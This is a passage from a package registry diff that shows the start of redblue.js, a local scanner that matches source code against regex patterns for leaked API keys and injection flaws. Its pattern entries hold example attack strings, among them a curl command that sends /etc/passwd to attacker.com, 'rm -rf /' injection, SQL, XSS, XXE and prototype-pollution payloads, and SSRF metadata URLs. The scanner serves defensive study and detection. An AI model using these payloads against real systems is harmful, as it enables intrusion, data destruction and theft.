@kernel.chat/kbot 3.57.0 → 3.58.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (39) hide show
  1. package/README.md +4 -4
  2. package/dist/agents/replit.js +1 -1
  3. package/dist/bootstrap.js +1 -1
  4. package/dist/integrations/ableton-live.d.ts +52 -0
  5. package/dist/integrations/ableton-live.d.ts.map +1 -0
  6. package/dist/integrations/ableton-live.js +239 -0
  7. package/dist/integrations/ableton-live.js.map +1 -0
  8. package/dist/integrations/ableton-osc-installer.d.ts +13 -0
  9. package/dist/integrations/ableton-osc-installer.d.ts.map +1 -0
  10. package/dist/integrations/ableton-osc-installer.js +190 -0
  11. package/dist/integrations/ableton-osc-installer.js.map +1 -0
  12. package/dist/tools/ctf.d.ts +2 -0
  13. package/dist/tools/ctf.d.ts.map +1 -0
  14. package/dist/tools/ctf.js +2968 -0
  15. package/dist/tools/ctf.js.map +1 -0
  16. package/dist/tools/hacker-toolkit.d.ts +2 -0
  17. package/dist/tools/hacker-toolkit.d.ts.map +1 -0
  18. package/dist/tools/hacker-toolkit.js +3697 -0
  19. package/dist/tools/hacker-toolkit.js.map +1 -0
  20. package/dist/tools/index.d.ts.map +1 -1
  21. package/dist/tools/index.js +5 -0
  22. package/dist/tools/index.js.map +1 -1
  23. package/dist/tools/pentest.d.ts +2 -0
  24. package/dist/tools/pentest.d.ts.map +1 -0
  25. package/dist/tools/pentest.js +2225 -0
  26. package/dist/tools/pentest.js.map +1 -0
  27. package/dist/tools/redblue.d.ts +2 -0
  28. package/dist/tools/redblue.d.ts.map +1 -0
  29. package/dist/tools/redblue.js +3468 -0
  30. package/dist/tools/redblue.js.map +1 -0
  31. package/dist/tools/security-brain.d.ts +2 -0
  32. package/dist/tools/security-brain.d.ts.map +1 -0
  33. package/dist/tools/security-brain.js +2453 -0
  34. package/dist/tools/security-brain.js.map +1 -0
  35. package/dist/tools/serum2-preset.d.ts +11 -0
  36. package/dist/tools/serum2-preset.d.ts.map +1 -0
  37. package/dist/tools/serum2-preset.js +143 -0
  38. package/dist/tools/serum2-preset.js.map +1 -0
  39. package/package.json +2 -2
@@ -0,0 +1,3468 @@
1
+ // kbot Red Team / Blue Team — Adversarial Security Simulation Tools
2
+ // Red team: attack surface analysis, vulnerability scanning, exploitation scenarios
3
+ // Blue team: hardening recommendations, security checklists, threat modeling
4
+ // All operations are local — zero API calls, zero network access.
5
+ // Reads source files and pattern-matches for real vulnerabilities.
6
+ import { registerTool } from './index.js';
7
+ import { homedir } from 'node:os';
8
+ import { join, resolve, relative, extname } from 'node:path';
9
+ import { existsSync, readFileSync, readdirSync, statSync } from 'node:fs';
10
+ // ── Constants ──────────────────────────────────────────────────────────────────
11
+ const SEVERITY_SCORE = {
12
+ critical: 10,
13
+ high: 7,
14
+ medium: 4,
15
+ low: 1,
16
+ info: 0,
17
+ };
18
+ const SEVERITY_COLORS = {
19
+ critical: '\u{1F534}',
20
+ high: '\u{1F7E0}',
21
+ medium: '\u{1F7E1}',
22
+ low: '\u{1F535}',
23
+ info: '\u{26AA}',
24
+ };
25
+ const SOURCE_EXTENSIONS = new Set([
26
+ '.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java',
27
+ '.php', '.rs', '.c', '.cpp', '.cs', '.mjs', '.cjs', '.vue',
28
+ '.svelte', '.astro', '.sh', '.bash', '.zsh', '.yaml', '.yml',
29
+ '.json', '.toml', '.ini', '.cfg', '.conf', '.env', '.xml',
30
+ '.html', '.htm', '.sql', '.graphql', '.gql', '.proto',
31
+ '.dockerfile', '.tf', '.hcl',
32
+ ]);
33
+ const SKIP_DIRS = new Set([
34
+ 'node_modules', '.git', 'dist', 'build', 'vendor', '.next',
35
+ '__pycache__', '.mypy_cache', '.pytest_cache', 'target', 'out',
36
+ '.gradle', '.idea', '.vscode', 'coverage', '.nyc_output',
37
+ '.turbo', '.vercel', '.netlify', 'venv', '.venv', 'env',
38
+ '.tox', 'bower_components', 'jspm_packages', '.cache',
39
+ '.parcel-cache', '.svelte-kit', '.nuxt', '.output',
40
+ ]);
41
+ // Maximum files to scan to prevent hanging on huge repos
42
+ const MAX_FILES_QUICK = 200;
43
+ const MAX_FILES_STANDARD = 1000;
44
+ const MAX_FILES_DEEP = 5000;
45
+ // ── File Discovery ─────────────────────────────────────────────────────────────
46
+ function resolvePath(p) {
47
+ if (p.startsWith('~/') || p === '~') {
48
+ return resolve(homedir(), p.slice(2) || '.');
49
+ }
50
+ return resolve(p);
51
+ }
52
+ function collectFiles(dir, maxFiles) {
53
+ const files = [];
54
+ const visited = new Set();
55
+ function walk(currentDir, depth) {
56
+ if (files.length >= maxFiles || depth > 15)
57
+ return;
58
+ if (visited.has(currentDir))
59
+ return;
60
+ visited.add(currentDir);
61
+ let entries;
62
+ try {
63
+ entries = readdirSync(currentDir);
64
+ }
65
+ catch {
66
+ return;
67
+ }
68
+ for (const entry of entries) {
69
+ if (files.length >= maxFiles)
70
+ return;
71
+ const fullPath = join(currentDir, entry);
72
+ let stat;
73
+ try {
74
+ stat = statSync(fullPath);
75
+ }
76
+ catch {
77
+ continue;
78
+ }
79
+ if (stat.isDirectory()) {
80
+ if (!SKIP_DIRS.has(entry) && !entry.startsWith('.')) {
81
+ walk(fullPath, depth + 1);
82
+ }
83
+ // Also check dotfiles directories that could have secrets
84
+ if (entry === '.env' || entry === '.aws' || entry === '.ssh') {
85
+ walk(fullPath, depth + 1);
86
+ }
87
+ continue;
88
+ }
89
+ if (!stat.isFile())
90
+ continue;
91
+ const ext = extname(entry).toLowerCase();
92
+ const basename = entry.toLowerCase();
93
+ // Always include these files regardless of extension
94
+ const alwaysInclude = [
95
+ '.env', '.env.local', '.env.development', '.env.production',
96
+ '.env.staging', '.env.test', '.htaccess', '.htpasswd',
97
+ 'dockerfile', 'docker-compose.yml', 'docker-compose.yaml',
98
+ 'Makefile', 'Rakefile', 'Gemfile', 'requirements.txt',
99
+ 'package.json', 'tsconfig.json', 'webpack.config.js',
100
+ 'vite.config.ts', 'vite.config.js', 'next.config.js',
101
+ 'next.config.mjs', '.npmrc', '.yarnrc', '.babelrc',
102
+ 'jest.config.ts', 'jest.config.js', 'vitest.config.ts',
103
+ 'nginx.conf', 'apache.conf', 'httpd.conf',
104
+ ];
105
+ if (!SOURCE_EXTENSIONS.has(ext) && !alwaysInclude.includes(basename))
106
+ continue;
107
+ // Skip large files (> 500KB)
108
+ if (stat.size > 500_000)
109
+ continue;
110
+ try {
111
+ const content = readFileSync(fullPath, 'utf-8');
112
+ // Skip binary files
113
+ if (content.includes('\0'))
114
+ continue;
115
+ files.push({
116
+ path: fullPath,
117
+ content,
118
+ lines: content.split('\n'),
119
+ ext,
120
+ });
121
+ }
122
+ catch {
123
+ continue;
124
+ }
125
+ }
126
+ }
127
+ walk(dir, 0);
128
+ return files;
129
+ }
130
+ const SECRET_PATTERNS = [
131
+ // API Keys — Provider-specific
132
+ {
133
+ name: 'Anthropic API Key',
134
+ pattern: /sk-ant-[a-zA-Z0-9_-]{20,}/g,
135
+ severity: 'critical',
136
+ cwe: 'CWE-798',
137
+ description: 'Anthropic API key leaked in source code',
138
+ },
139
+ {
140
+ name: 'OpenAI API Key',
141
+ pattern: /sk-[a-zA-Z0-9]{20,}/g,
142
+ severity: 'critical',
143
+ cwe: 'CWE-798',
144
+ description: 'OpenAI API key leaked in source code',
145
+ },
146
+ {
147
+ name: 'Stripe Secret Key',
148
+ pattern: /sk_live_[a-zA-Z0-9]{20,}/g,
149
+ severity: 'critical',
150
+ cwe: 'CWE-798',
151
+ description: 'Stripe live secret key leaked in source code',
152
+ },
153
+ {
154
+ name: 'Stripe Publishable Key (live)',
155
+ pattern: /pk_live_[a-zA-Z0-9]{20,}/g,
156
+ severity: 'medium',
157
+ cwe: 'CWE-798',
158
+ description: 'Stripe live publishable key in source code (less sensitive but still notable)',
159
+ },
160
+ {
161
+ name: 'AWS Access Key',
162
+ pattern: /AKIA[0-9A-Z]{16}/g,
163
+ severity: 'critical',
164
+ cwe: 'CWE-798',
165
+ description: 'AWS access key ID found in source code',
166
+ },
167
+ {
168
+ name: 'AWS Secret Key',
169
+ pattern: /(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*['"]?([A-Za-z0-9/+=]{40})['"]?/g,
170
+ severity: 'critical',
171
+ cwe: 'CWE-798',
172
+ description: 'AWS secret access key found in source code',
173
+ },
174
+ {
175
+ name: 'GitHub Personal Access Token',
176
+ pattern: /ghp_[a-zA-Z0-9]{36}/g,
177
+ severity: 'critical',
178
+ cwe: 'CWE-798',
179
+ description: 'GitHub personal access token found in source code',
180
+ },
181
+ {
182
+ name: 'GitHub OAuth Token',
183
+ pattern: /gho_[a-zA-Z0-9]{36}/g,
184
+ severity: 'critical',
185
+ cwe: 'CWE-798',
186
+ description: 'GitHub OAuth access token found in source code',
187
+ },
188
+ {
189
+ name: 'GitHub Fine-Grained PAT',
190
+ pattern: /github_pat_[a-zA-Z0-9_]{22,}/g,
191
+ severity: 'critical',
192
+ cwe: 'CWE-798',
193
+ description: 'GitHub fine-grained personal access token found in source code',
194
+ },
195
+ {
196
+ name: 'Slack Bot Token',
197
+ pattern: /xoxb-[0-9]{10,}-[0-9]{10,}-[a-zA-Z0-9]{20,}/g,
198
+ severity: 'critical',
199
+ cwe: 'CWE-798',
200
+ description: 'Slack bot token found in source code',
201
+ },
202
+ {
203
+ name: 'Slack User Token',
204
+ pattern: /xoxp-[0-9]{10,}-[0-9]{10,}-[a-zA-Z0-9]{20,}/g,
205
+ severity: 'critical',
206
+ cwe: 'CWE-798',
207
+ description: 'Slack user token found in source code',
208
+ },
209
+ {
210
+ name: 'Google API Key',
211
+ pattern: /AIza[0-9A-Za-z\-_]{35}/g,
212
+ severity: 'high',
213
+ cwe: 'CWE-798',
214
+ description: 'Google API key found in source code',
215
+ },
216
+ {
217
+ name: 'Google OAuth Client Secret',
218
+ pattern: /(?:client_secret|CLIENT_SECRET)\s*[=:]\s*['"]?([A-Za-z0-9_-]{24,})['"]?/g,
219
+ severity: 'high',
220
+ cwe: 'CWE-798',
221
+ description: 'Google OAuth client secret found in source code',
222
+ },
223
+ {
224
+ name: 'Twilio Auth Token',
225
+ pattern: /(?:TWILIO_AUTH_TOKEN|twilio_auth_token)\s*[=:]\s*['"]?([a-f0-9]{32})['"]?/g,
226
+ severity: 'critical',
227
+ cwe: 'CWE-798',
228
+ description: 'Twilio auth token found in source code',
229
+ },
230
+ {
231
+ name: 'SendGrid API Key',
232
+ pattern: /SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}/g,
233
+ severity: 'critical',
234
+ cwe: 'CWE-798',
235
+ description: 'SendGrid API key found in source code',
236
+ },
237
+ {
238
+ name: 'Mailgun API Key',
239
+ pattern: /key-[a-zA-Z0-9]{32}/g,
240
+ severity: 'high',
241
+ cwe: 'CWE-798',
242
+ description: 'Mailgun API key found in source code',
243
+ },
244
+ {
245
+ name: 'Discord Bot Token',
246
+ pattern: /(?:discord|DISCORD)[\w]*(?:token|TOKEN)\s*[=:]\s*['"]?([A-Za-z0-9._-]{59,})['"]?/g,
247
+ severity: 'critical',
248
+ cwe: 'CWE-798',
249
+ description: 'Discord bot token found in source code',
250
+ },
251
+ {
252
+ name: 'Heroku API Key',
253
+ pattern: /(?:HEROKU_API_KEY|heroku_api_key)\s*[=:]\s*['"]?([a-f0-9-]{36,})['"]?/g,
254
+ severity: 'high',
255
+ cwe: 'CWE-798',
256
+ description: 'Heroku API key found in source code',
257
+ },
258
+ {
259
+ name: 'Supabase Service Key',
260
+ pattern: /(?:SUPABASE_SERVICE_KEY|supabase_service_key|service_role_key)\s*[=:]\s*['"]?(eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+)['"]?/g,
261
+ severity: 'critical',
262
+ cwe: 'CWE-798',
263
+ description: 'Supabase service role key found in source code (full DB access)',
264
+ },
265
+ {
266
+ name: 'Firebase Private Key',
267
+ pattern: /(?:FIREBASE_PRIVATE_KEY|private_key)\s*[=:]\s*['"]?-----BEGIN (?:RSA )?PRIVATE KEY-----/g,
268
+ severity: 'critical',
269
+ cwe: 'CWE-798',
270
+ description: 'Firebase private key found in source code',
271
+ },
272
+ // Generic Secrets
273
+ {
274
+ name: 'Hardcoded Password',
275
+ pattern: /(?:password|passwd|pass|pwd)\s*[=:]\s*['"][^'"]{4,}['"]/gi,
276
+ severity: 'high',
277
+ cwe: 'CWE-798',
278
+ description: 'Hardcoded password found in source code',
279
+ },
280
+ {
281
+ name: 'Hardcoded Secret',
282
+ pattern: /(?:secret|SECRET)\s*[=:]\s*['"][^'"]{8,}['"]/g,
283
+ severity: 'high',
284
+ cwe: 'CWE-798',
285
+ description: 'Hardcoded secret value found in source code',
286
+ },
287
+ {
288
+ name: 'Hardcoded Token',
289
+ pattern: /(?:token|TOKEN|api_key|API_KEY|apiKey|apikey)\s*[=:]\s*['"][^'"]{10,}['"]/g,
290
+ severity: 'high',
291
+ cwe: 'CWE-798',
292
+ description: 'Hardcoded API token or key found in source code',
293
+ },
294
+ {
295
+ name: 'Hardcoded Credential',
296
+ pattern: /(?:credential|credentials|auth_token|access_token|refresh_token)\s*[=:]\s*['"][^'"]{8,}['"]/gi,
297
+ severity: 'high',
298
+ cwe: 'CWE-798',
299
+ description: 'Hardcoded credential found in source code',
300
+ },
301
+ // Private Keys
302
+ {
303
+ name: 'RSA Private Key',
304
+ pattern: /-----BEGIN RSA PRIVATE KEY-----/g,
305
+ severity: 'critical',
306
+ cwe: 'CWE-321',
307
+ description: 'RSA private key found in source code',
308
+ },
309
+ {
310
+ name: 'OpenSSH Private Key',
311
+ pattern: /-----BEGIN OPENSSH PRIVATE KEY-----/g,
312
+ severity: 'critical',
313
+ cwe: 'CWE-321',
314
+ description: 'OpenSSH private key found in source code',
315
+ },
316
+ {
317
+ name: 'EC Private Key',
318
+ pattern: /-----BEGIN EC PRIVATE KEY-----/g,
319
+ severity: 'critical',
320
+ cwe: 'CWE-321',
321
+ description: 'EC private key found in source code',
322
+ },
323
+ {
324
+ name: 'PGP Private Key',
325
+ pattern: /-----BEGIN PGP PRIVATE KEY BLOCK-----/g,
326
+ severity: 'critical',
327
+ cwe: 'CWE-321',
328
+ description: 'PGP private key found in source code',
329
+ },
330
+ {
331
+ name: 'Generic Private Key',
332
+ pattern: /-----BEGIN PRIVATE KEY-----/g,
333
+ severity: 'critical',
334
+ cwe: 'CWE-321',
335
+ description: 'Private key found in source code',
336
+ },
337
+ // Connection Strings
338
+ {
339
+ name: 'MongoDB Connection String',
340
+ pattern: /mongodb(?:\+srv)?:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
341
+ severity: 'critical',
342
+ cwe: 'CWE-798',
343
+ description: 'MongoDB connection string with credentials found in source code',
344
+ },
345
+ {
346
+ name: 'PostgreSQL Connection String',
347
+ pattern: /postgres(?:ql)?:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
348
+ severity: 'critical',
349
+ cwe: 'CWE-798',
350
+ description: 'PostgreSQL connection string with credentials found in source code',
351
+ },
352
+ {
353
+ name: 'MySQL Connection String',
354
+ pattern: /mysql:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
355
+ severity: 'critical',
356
+ cwe: 'CWE-798',
357
+ description: 'MySQL connection string with credentials found in source code',
358
+ },
359
+ {
360
+ name: 'Redis Connection String',
361
+ pattern: /redis:\/\/[^@\s]*:[^@\s]+@[a-zA-Z0-9._-]+/g,
362
+ severity: 'high',
363
+ cwe: 'CWE-798',
364
+ description: 'Redis connection string with credentials found in source code',
365
+ },
366
+ {
367
+ name: 'AMQP Connection String',
368
+ pattern: /amqps?:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
369
+ severity: 'high',
370
+ cwe: 'CWE-798',
371
+ description: 'AMQP/RabbitMQ connection string with credentials found in source code',
372
+ },
373
+ // JWT tokens
374
+ {
375
+ name: 'JWT Token (hardcoded)',
376
+ pattern: /['"]eyJ[a-zA-Z0-9_-]{10,}\.eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}['"]/g,
377
+ severity: 'high',
378
+ cwe: 'CWE-798',
379
+ description: 'Hardcoded JWT token found in source code',
380
+ },
381
+ // .env file committed
382
+ {
383
+ name: 'Env File in Source',
384
+ pattern: /^[A-Z_]+=.{10,}$/gm,
385
+ severity: 'medium',
386
+ cwe: 'CWE-798',
387
+ description: 'Potential environment variable with secret value',
388
+ },
389
+ ];
390
+ const INJECTION_PATTERNS = [
391
+ // SQL Injection
392
+ {
393
+ name: 'SQL String Concatenation',
394
+ category: 'SQL Injection',
395
+ pattern: /(?:query|execute|sql|sequelize\.query|knex\.raw|prisma\.\$queryRaw)\s*\(\s*['"`]?\s*(?:SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|UNION)\b[^)]*\+/gi,
396
+ severity: 'critical',
397
+ cwe: 'CWE-89',
398
+ description: 'SQL query built with string concatenation — direct SQL injection vector',
399
+ exploitation: 'Attacker injects SQL via concatenated input: " OR 1=1 --" to extract all records, or "; DROP TABLE users --" for data destruction',
400
+ },
401
+ {
402
+ name: 'SQL Template Literal with Variable',
403
+ category: 'SQL Injection',
404
+ pattern: /(?:query|execute|sql|sequelize\.query|knex\.raw|prisma\.\$queryRawUnsafe)\s*\(\s*`[^`]*\$\{[^}]*(?:req\.|params\.|query\.|body\.|args\.|input|user)[^}]*\}[^`]*`/gi,
405
+ severity: 'critical',
406
+ cwe: 'CWE-89',
407
+ description: 'SQL query built with template literal containing user input',
408
+ exploitation: 'Template literals are NOT parameterized — attacker can inject SQL through interpolated variables',
409
+ },
410
+ {
411
+ name: 'Raw SQL with Format String',
412
+ category: 'SQL Injection',
413
+ pattern: /(?:format|sprintf|f['"])\s*(?:.*?)(?:SELECT|INSERT|UPDATE|DELETE|DROP)/gi,
414
+ severity: 'critical',
415
+ cwe: 'CWE-89',
416
+ description: 'SQL query built with format strings',
417
+ exploitation: 'Format strings in SQL queries allow injection through format parameters',
418
+ },
419
+ {
420
+ name: 'NoSQL Injection ($where)',
421
+ category: 'NoSQL Injection',
422
+ pattern: /\$where\s*:\s*.*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
423
+ severity: 'critical',
424
+ cwe: 'CWE-943',
425
+ description: 'MongoDB $where operator with user input allows arbitrary JavaScript execution',
426
+ exploitation: 'Attacker sends {$where: "this.password == \'x\' || true"} to bypass auth or exfiltrate data',
427
+ },
428
+ {
429
+ name: 'NoSQL Injection ($regex)',
430
+ category: 'NoSQL Injection',
431
+ pattern: /\$regex\s*:\s*.*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
432
+ severity: 'high',
433
+ cwe: 'CWE-943',
434
+ description: 'MongoDB $regex with user input — can cause ReDoS or data leak',
435
+ exploitation: 'Attacker crafts malicious regex for denial of service or substring extraction via timing attack',
436
+ },
437
+ // XSS
438
+ {
439
+ name: 'innerHTML Assignment',
440
+ category: 'XSS',
441
+ pattern: /\.innerHTML\s*=\s*(?!['"]<(?:br|hr|div|span|p)\s*\/?>['"])/g,
442
+ severity: 'high',
443
+ cwe: 'CWE-79',
444
+ description: 'Direct innerHTML assignment — XSS vector if user-controlled',
445
+ exploitation: 'Attacker injects <script>alert(document.cookie)</script> or <img onerror=...> to steal session tokens',
446
+ },
447
+ {
448
+ name: 'dangerouslySetInnerHTML',
449
+ category: 'XSS',
450
+ pattern: /dangerouslySetInnerHTML\s*=\s*\{\s*\{\s*__html\s*:/g,
451
+ severity: 'high',
452
+ cwe: 'CWE-79',
453
+ description: 'React dangerouslySetInnerHTML — XSS vector if content is user-controlled',
454
+ exploitation: 'Bypasses React XSS protection — attacker injects malicious HTML/JS into rendered content',
455
+ },
456
+ {
457
+ name: 'document.write',
458
+ category: 'XSS',
459
+ pattern: /document\.write\s*\(/g,
460
+ severity: 'high',
461
+ cwe: 'CWE-79',
462
+ description: 'document.write usage — DOM-based XSS vector',
463
+ exploitation: 'Attacker controls input to document.write, injecting arbitrary HTML/JS into the page',
464
+ },
465
+ {
466
+ name: 'eval() Usage',
467
+ category: 'Code Injection',
468
+ pattern: /(?<!\w)eval\s*\(/g,
469
+ severity: 'critical',
470
+ cwe: 'CWE-95',
471
+ description: 'eval() allows arbitrary code execution',
472
+ exploitation: 'Attacker injects malicious JavaScript through eval input — full RCE in Node.js, session hijack in browser',
473
+ },
474
+ {
475
+ name: 'Function() Constructor',
476
+ category: 'Code Injection',
477
+ pattern: /new\s+Function\s*\(/g,
478
+ severity: 'critical',
479
+ cwe: 'CWE-95',
480
+ description: 'Function constructor allows arbitrary code execution (equivalent to eval)',
481
+ exploitation: 'new Function("return " + userInput)() allows arbitrary code execution',
482
+ },
483
+ {
484
+ name: 'setTimeout/setInterval with String',
485
+ category: 'Code Injection',
486
+ pattern: /(?:setTimeout|setInterval)\s*\(\s*['"`]/g,
487
+ severity: 'medium',
488
+ cwe: 'CWE-95',
489
+ description: 'setTimeout/setInterval with string argument acts like eval',
490
+ exploitation: 'String argument to setTimeout is evaluated as code — injection point if user-controlled',
491
+ },
492
+ {
493
+ name: 'jQuery .html() with Variable',
494
+ category: 'XSS',
495
+ pattern: /\.html\s*\(\s*(?!['"])[a-zA-Z$_]/g,
496
+ severity: 'high',
497
+ cwe: 'CWE-79',
498
+ description: 'jQuery .html() with variable — XSS if user-controlled',
499
+ exploitation: 'Attacker injects HTML/JS through variable passed to jQuery .html()',
500
+ },
501
+ {
502
+ name: 'Unescaped Template Output',
503
+ category: 'XSS',
504
+ pattern: /\{\{\{[^}]*\}\}\}|<%[-=]?\s*(?!-)/g,
505
+ severity: 'medium',
506
+ cwe: 'CWE-79',
507
+ description: 'Unescaped template output (Handlebars {{{}}}, ERB <%=)',
508
+ exploitation: 'Unescaped template rendering allows XSS if variable contains user input',
509
+ },
510
+ // Command Injection
511
+ {
512
+ name: 'exec() with Variable',
513
+ category: 'Command Injection',
514
+ pattern: /(?:exec|execSync)\s*\(\s*(?!['"`](?:npm|node|git|tsc|vitest|jest|eslint|prettier|ls|cat|echo|mkdir|rm|cp|mv|chmod|chown|pwd|whoami|which|date|curl|wget)\b)[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user|\$\{|\+\s*[a-zA-Z])/gi,
515
+ severity: 'critical',
516
+ cwe: 'CWE-78',
517
+ description: 'Shell command execution with user-controlled input',
518
+ exploitation: 'Attacker injects shell commands: input = "; rm -rf / #" or "`curl attacker.com/steal?d=$(cat /etc/passwd)`"',
519
+ },
520
+ {
521
+ name: 'spawn() with User Input',
522
+ category: 'Command Injection',
523
+ pattern: /(?:spawn|spawnSync|fork)\s*\(\s*(?:[^,)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
524
+ severity: 'critical',
525
+ cwe: 'CWE-78',
526
+ description: 'Process spawn with user-controlled command or arguments',
527
+ exploitation: 'Attacker controls command arguments to execute arbitrary programs or read files',
528
+ },
529
+ {
530
+ name: 'child_process with Template Literal',
531
+ category: 'Command Injection',
532
+ pattern: /(?:exec|execSync|execFile|execFileSync)\s*\(\s*`[^`]*\$\{/g,
533
+ severity: 'high',
534
+ cwe: 'CWE-78',
535
+ description: 'Shell command built with template literal interpolation',
536
+ exploitation: 'Template literals in shell commands allow command injection via interpolated variables',
537
+ },
538
+ {
539
+ name: 'subprocess.run (Python)',
540
+ category: 'Command Injection',
541
+ pattern: /subprocess\.(?:run|call|Popen|check_output|check_call)\s*\(\s*(?:f['"]|.*\.format|.*%\s*(?:\(|[a-zA-Z]))/g,
542
+ severity: 'critical',
543
+ cwe: 'CWE-78',
544
+ description: 'Python subprocess with format string — command injection vector',
545
+ exploitation: 'Attacker injects shell commands through formatted string arguments',
546
+ },
547
+ {
548
+ name: 'os.system (Python)',
549
+ category: 'Command Injection',
550
+ pattern: /os\.system\s*\(/g,
551
+ severity: 'high',
552
+ cwe: 'CWE-78',
553
+ description: 'Python os.system is inherently unsafe — runs commands through shell',
554
+ exploitation: 'Any user input in os.system argument allows arbitrary command execution',
555
+ },
556
+ // Path Traversal
557
+ {
558
+ name: 'Path Traversal (join with user input)',
559
+ category: 'Path Traversal',
560
+ pattern: /(?:path\.join|path\.resolve|join|resolve)\s*\([^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user)[^)]*\)/gi,
561
+ severity: 'high',
562
+ cwe: 'CWE-22',
563
+ description: 'File path constructed with user input without traversal check',
564
+ exploitation: 'Attacker sends "../../../etc/passwd" to read arbitrary files outside intended directory',
565
+ },
566
+ {
567
+ name: 'Direct File Read with User Input',
568
+ category: 'Path Traversal',
569
+ pattern: /(?:readFile|readFileSync|createReadStream|open)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
570
+ severity: 'high',
571
+ cwe: 'CWE-22',
572
+ description: 'File read operation with user-controlled path',
573
+ exploitation: 'Attacker reads sensitive files: /etc/passwd, /proc/self/environ, config files with credentials',
574
+ },
575
+ {
576
+ name: 'File Write with User Path',
577
+ category: 'Path Traversal',
578
+ pattern: /(?:writeFile|writeFileSync|createWriteStream)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
579
+ severity: 'critical',
580
+ cwe: 'CWE-22',
581
+ description: 'File write operation with user-controlled path',
582
+ exploitation: 'Attacker writes to arbitrary locations: overwrite .bashrc, crontab, authorized_keys for RCE',
583
+ },
584
+ // SSRF
585
+ {
586
+ name: 'SSRF (fetch with user URL)',
587
+ category: 'SSRF',
588
+ pattern: /(?:fetch|axios|got|request|http\.get|https\.get|urllib\.request)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user|url))/gi,
589
+ severity: 'high',
590
+ cwe: 'CWE-918',
591
+ description: 'HTTP request with user-controlled URL — SSRF vector',
592
+ exploitation: 'Attacker targets internal services: http://169.254.169.254/latest/meta-data/ (AWS), http://localhost:6379/ (Redis)',
593
+ },
594
+ {
595
+ name: 'SSRF (redirect follow)',
596
+ category: 'SSRF',
597
+ pattern: /(?:redirect|follow)\s*:\s*true|(?:maxRedirects|max_redirects)\s*:\s*(?:[5-9]|[1-9]\d)/gi,
598
+ severity: 'medium',
599
+ cwe: 'CWE-918',
600
+ description: 'HTTP client follows redirects — can be chained with SSRF',
601
+ exploitation: 'Attacker provides URL that 302-redirects to internal service, bypassing URL validation',
602
+ },
603
+ // Template Injection
604
+ {
605
+ name: 'Server-Side Template Injection',
606
+ category: 'Template Injection',
607
+ pattern: /(?:render|template|compile)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
608
+ severity: 'critical',
609
+ cwe: 'CWE-94',
610
+ description: 'Template engine render with user-controlled template string',
611
+ exploitation: 'Attacker injects template syntax: {{7*7}} in Jinja2, ${7*7} in FreeMarker — leads to RCE',
612
+ },
613
+ // LDAP Injection
614
+ {
615
+ name: 'LDAP Injection',
616
+ category: 'LDAP Injection',
617
+ pattern: /(?:ldap|LDAP).*(?:search|bind|query)\s*\([^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
618
+ severity: 'high',
619
+ cwe: 'CWE-90',
620
+ description: 'LDAP query with user-controlled input',
621
+ exploitation: 'Attacker injects LDAP filter: *)(&(objectClass=*) to enumerate all objects or bypass auth',
622
+ },
623
+ // Deserialization
624
+ {
625
+ name: 'Unsafe Deserialization (JSON.parse of user input)',
626
+ category: 'Deserialization',
627
+ pattern: /JSON\.parse\s*\(\s*(?:req\.body|params|query|input|user)/gi,
628
+ severity: 'medium',
629
+ cwe: 'CWE-502',
630
+ description: 'JSON.parse of raw user input without schema validation',
631
+ exploitation: 'While JSON.parse itself is safe, parsed objects may contain __proto__ pollution or unexpected types',
632
+ },
633
+ {
634
+ name: 'Prototype Pollution',
635
+ category: 'Prototype Pollution',
636
+ pattern: /(?:__proto__|constructor\.prototype|Object\.assign\s*\(\s*\{\}|\.\.\.(?:req\.|params\.|query\.|body\.|args\.|input))/gi,
637
+ severity: 'high',
638
+ cwe: 'CWE-1321',
639
+ description: 'Potential prototype pollution via __proto__ or unguarded Object.assign/spread',
640
+ exploitation: 'Attacker sends {"__proto__":{"isAdmin":true}} to pollute Object prototype and escalate privileges',
641
+ },
642
+ {
643
+ name: 'Unsafe YAML/Pickle Deserialization',
644
+ category: 'Deserialization',
645
+ pattern: /(?:yaml\.load|pickle\.loads?|marshal\.loads?|shelve\.open)\s*\(/g,
646
+ severity: 'critical',
647
+ cwe: 'CWE-502',
648
+ description: 'Unsafe deserialization can lead to remote code execution',
649
+ exploitation: 'Attacker crafts malicious YAML/pickle payload that executes arbitrary code on deserialization',
650
+ },
651
+ // XML External Entity
652
+ {
653
+ name: 'XXE (XML External Entity)',
654
+ category: 'XXE',
655
+ pattern: /(?:parseXML|xml2js|DOMParser|SAXParser|XMLReader|etree\.parse)\s*\(/g,
656
+ severity: 'medium',
657
+ cwe: 'CWE-611',
658
+ description: 'XML parsing without explicit XXE protection',
659
+ exploitation: 'Attacker injects XML with external entity: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
660
+ },
661
+ // Open Redirect
662
+ {
663
+ name: 'Open Redirect',
664
+ category: 'Open Redirect',
665
+ pattern: /(?:res\.redirect|response\.redirect|redirect)\s*\(\s*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
666
+ severity: 'medium',
667
+ cwe: 'CWE-601',
668
